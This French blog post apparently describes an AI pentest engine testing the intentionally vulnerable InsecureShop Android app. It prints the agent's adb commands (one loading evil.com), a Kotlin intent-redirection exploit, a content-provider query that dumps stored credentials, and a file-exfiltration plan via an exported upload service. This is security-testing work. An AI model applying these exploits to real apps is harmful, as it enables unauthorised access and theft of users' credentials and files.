Pentest assisté par l'IA : analyse approfondie de la redirection d'intents sous Android
Cet article présente la démarche de l'AI Pentest Engine d'Ostorlab pour analyser une application Android à la recherche de vulnérabilités de redirection d'intents. Suivez le parcours du moteur, de l'analyse statique et des premiers résultats jusqu'à une validation dynamique rigoureuse, et voyez comment il sait non seulement identifier des menaces potentielles, mais aussi écarter méticuleusement les faux positifs.
L'AI Pentest Engine d'Ostorlab est conçu pour reproduire le processus complexe, en plusieurs étapes, d'un chercheur en sécurité humain expert. Il ne se contente pas de lancer un scanner et de rapporter sa sortie : il formule des hypothèses, les teste et valide lui-même ses résultats.
Pour le mettre à l'épreuve, nous avons dirigé le moteur vers l'application Android InsecureShop avec pour objectif de tester les vulnérabilités de redirection d'intents. L'objectif de test d'une classe de vulnérabilités est défini par un module de renseignement sur les menaces qui identifie tous les risques et le contexte à tester, mais nous y reviendrons dans de prochains articles.
S'en est suivi un processus de pentest élégant et rapide. Le moteur d'IA a décompilé l'application, identifié des composants potentiellement vulnérables par analyse statique, puis tenté rigoureusement de valider chaque résultat par analyse dynamique et par des applications de preuve de concept.
Cet article documente le workflow complet et non édité du moteur, en soulignant non seulement sa capacité à trouver des bugs critiques, mais aussi, tout aussi important, sa capacité à les confirmer ou à les exclure.
Génération du plan de test
La première étape de l'AI Engine consiste à élaborer une méthodologie en 10 tâches, avec les objectifs suivants :
- Identifier tous les composants exportés de l'application et leurs filtres d'intents
- Analyser la gestion des intents pour détecter d'éventuelles failles de redirection
- Fuzzer les composants avec des intents malveillants pour déclencher des comportements inattendus
- Développer des applications de preuve de concept complètes pour les vulnérabilités confirmées
Détail du plan
- Décompilation de l'APK - Extraire le fichier AndroidManifest.xml, les ressources et le code source pour cartographier la surface d'attaque de l'application
- Analyse des composants - Énumérer toutes les activités, tous les services et tous les broadcast receivers, en se concentrant sur les composants avec
android:exported=true - Documentation des filtres d'intents - Documenter les actions, catégories et schémas de données de chaque composant exporté
- Revue du code source - Examiner les composants exportés à la recherche de schémas où des objets Intent sont créés ou extraits des extras d'un intent reçu
- Mise en place de l'environnement - Installer l'application sur un appareil de test avec des outils de journalisation et de surveillance activés
- Fabrication d'intents malveillants - Créer des intents contenant des intents imbriqués dans les bundles d'extras pour tester les capacités de redirection
- Test d'élévation de privilèges - Cibler les composants non exportés au moyen d'intents imbriqués pour tester les accès non autorisés
- Surveillance du système - Surveiller logcat et le comportement de l'application pour repérer les signes d'une redirection d'intent réussie
- Développement de PoC - Créer des applications Android démontrant l'impact sur la sécurité grâce à des intents malveillants
- Documentation - Documenter les résultats avec les composants vulnérables, les intents malveillants utilisés et le code source des PoC
Raisonnement du moteur, étape par étape
Décompilez l'APK et analysez méticuleusement le fichier AndroidManifest.xml. L'objectif est de dresser une liste complète et définitive de tous les composants exportés (activités, services et broadcast receivers). Le résultat attendu est une liste de noms de composants marqués android:exported="true".
Étape 1 : run_decompile_apk :
- Nom de l'outil : run_decompile_apk
- Arguments :
apk_path='/REDACTED/InsecureShop.apk'_
AndroidManifest.xml :
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application android:debuggable="true" ...>
<activity android:name="com.insecureshop.WebViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="insecureshop" android:host="com.insecureshop"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
...
<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
</application>
</manifest>
Résultat 1 : inclusion de fichiers locaux dans WebViewActivity
L'analyse statique de WebViewActivity.java par l'IA et de son entrée correspondante dans le manifeste a conduit à une hypothèse : l'activité pouvait être amenée à charger des fichiers locaux via le paramètre url d'une URI personnalisée, ce qui indiquait une éventuelle vulnérabilité d'inclusion de fichiers locaux (LFI).
L'IA est ensuite passée à la validation de cette hypothèse.
Étape 1 : Trigger the Webview
- Nom de l'outil : adb
- Arguments :
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com
Étape 2 : Result Observation
- Nom de l'outil : run_take_screenshot
- Sortie : Successfully captured 1 screenshots.

Étape 3 : Create Test File
- Nom de l'outil : adb
- Arguments :
shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html
Étape 4 : Attempt to Load Local File via Intent
- Nom de l'outil : adb
- Arguments :
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"
Étape 5 : Result Observation
- Nom de l'outil : run_take_screenshot
- Sortie : Successfully captured 1 screenshots.

Résultat 2 : redirection d'intent dans WebView2Activity
L'analyse de com.insecureshop.WebViewActivity a révélé une vulnérabilité d'inclusion de fichiers locaux. Le fichier AndroidManifest.xml montre une autre activité exportée, com.insecureshop.WebView2Activity, qui est activée par l'action personnalisée com.insecureshop.action.WEBVIEW. La tâche suivante consiste à examiner cette seconde activité WebView pour déterminer si elle présente une vulnérabilité similaire ou d'autres défauts dans sa gestion des intents.
L'IA a ensuite analysé WebView2Activity, une activité exportée qui semblait lancer n'importe quel Intent qui lui était transmis sous la forme d'un extra Parcelable nommé extra_intent. C'est un schéma classique de redirection d'intent, qui pourrait permettre à une application malveillante de lancer des composants non exportés.
Pour le valider, l'IA a construit et déployé une application malveillante de preuve de concept, conçue pour exploiter cette faille et lancer la PrivateActivity non exportée.
Étape 1 : Build and Install PoC
Nom de l'outil : run_build_app
Arguments :
Imports :
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
PoC Application Code :
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val maliciousIntent = Intent()
maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")
val wrapperIntent = Intent()
wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
wrapperIntent.putExtra("extra_intent", maliciousIntent)
startActivity(wrapperIntent)
}
}
Nom de l'outil : adb
Arguments :
install /REDACTED/pentestingApp-debug.apk
Sortie :
Performing Streamed Install
Success
Étape 2 : Launch PoC and Observe
Nom de l'outil : adb
Arguments :
shell am start -n com.example.pentestingapp/.MainActivity
Sortie :
Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }
Nom de l'outil : run_take_screenshot
Sortie : Successfully captured 1 screenshots.

Résultat 3 : fuite d'identifiants via InsecureShopProvider
Ayant trouvé des vulnérabilités importantes dans deux activités exportées, avons-nous réuni assez d'informations pour comprendre les principales faiblesses de l'application, ou une investigation plus approfondie des autres composants exportés, tels que le content provider InsecureShopProvider, donnerait-elle une image plus complète de la posture de sécurité globale ?
L'IA a identifié un content provider exporté, protégé par une permission de niveau normal, ce qui laissait penser que n'importe quelle application pouvait l'interroger. L'analyse statique de InsecureShopProvider.java indiquait qu'il renvoyait les identifiants d'utilisateur stockés.
Un content provider exporté, com.insecureshop.contentProvider.InsecureShopProvider, a été identifié comme une fuite d'informations potentielle. Le provider est protégé par la permission com.insecureshop.permission.READ. Cependant, cette permission est définie sans protectionLevel, qui prend alors la valeur par défaut normal, ce qui signifie que n'importe quelle application peut se voir accorder cette permission à l'installation, sans interaction de l'utilisateur. Le code source du provider suggérait qu'il interroge et renvoie les identifiants d'utilisateur stockés dans SharedPreferences.
Preuve issue du manifeste :
<provider
android:name="com.insecureshop.contentProvider.InsecureShopProvider"
android:readPermission="com.insecureshop.permission.READ"
android:exported="true"
android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>
Le code de InsecureShopProvider.java montre que la méthode query renvoie un curseur contenant le nom d'utilisateur et le mot de passe stockés dans les préférences partagées de l'application, en ignorant tout critère de sélection.
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Intrinsics.checkParameterIsNotNull(uri, "uri");
UriMatcher uriMatcher2 = uriMatcher;
if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
String[] strArr = new String[2];
String username = Prefs.INSTANCE.getUsername();
if (username == null) {
Intrinsics.throwNpe();
}
strArr[0] = username;
String password = Prefs.INSTANCE.getPassword();
if (password == null) {
Intrinsics.throwNpe();
}
strArr[1] = password;
cursor.addRow(strArr);
return cursor;
}
return null;
}
Étape 1 : Query Content Provider :
Nom de l'outil : adb
Arguments :
shell content query --uri content://com.insecureshop.provider/insecure
Étape 2 : Analyze Output :
La commande a renvoyé des valeurs pour les champs du nom d'utilisateur et du mot de passe.
Row: 0 username=shopuser, password=!ns3csh0p
Aller encore plus loin
Exfiltration non autorisée de fichiers via UploadService
Analysez le service exporté net.gotev.uploadservice.UploadService. Examinez son code source pour comprendre comment il peut être déclenché et quels paramètres il accepte. L'objectif est de déterminer si une application malveillante peut fabriquer un intent pour démarrer ce service et le forcer à téléverser des fichiers locaux arbitraires depuis le stockage de l'appareil.
Enfin, le moteur a identifié un service de téléversement exporté qui pourrait être déclenché par une application malveillante pour exfiltrer des fichiers privés. Une exploitation réussie nécessiterait de fabriquer un objet Parcelable à transmettre comme extra d'Intent.
L'IA a tenté de construire une application PoC à cette fin. Cependant, l'outillage disponible ne permettait pas d'inclure la bibliothèque tierce (net.gotev:android-upload-service) nécessaire pour construire les objets requis.
Le net.gotev.uploadservice.UploadService est déclaré dans le AndroidManifest.xml avec android:exported="true", ce qui le rend accessible à toute application de l'appareil.
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
L'UploadService est conçu pour gérer des téléversements de fichiers à partir de paramètres transmis via un Intent. Plus précisément, il accepte une chaîne taskClass et un objet Parcelable appelé taskParameters. Le service n'effectue aucune validation de l'application appelante ni des paramètres contenus dans l'intent.
Une application malveillante peut construire un Intent qui spécifie une classe UploadTask valide (par exemple net.gotev.uploadservice.MultipartUploadTask) et fournit des UploadTaskParameters contenant :
1. Une URL de serveur arbitraire contrôlée par l'attaquant.
2. Un chemin vers un fichier sensible dans le stockage cloisonné de l'application InsecureShop (par exemple /data/data/com.insecureshop/shared_prefs/Prefs.xml, qui stocke les identifiants des utilisateurs).
PoC Build Attempt:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}
Sans la possibilité de construire le PoC, la vulnérabilité n'a pas pu être testée.
Conclusion : non concluant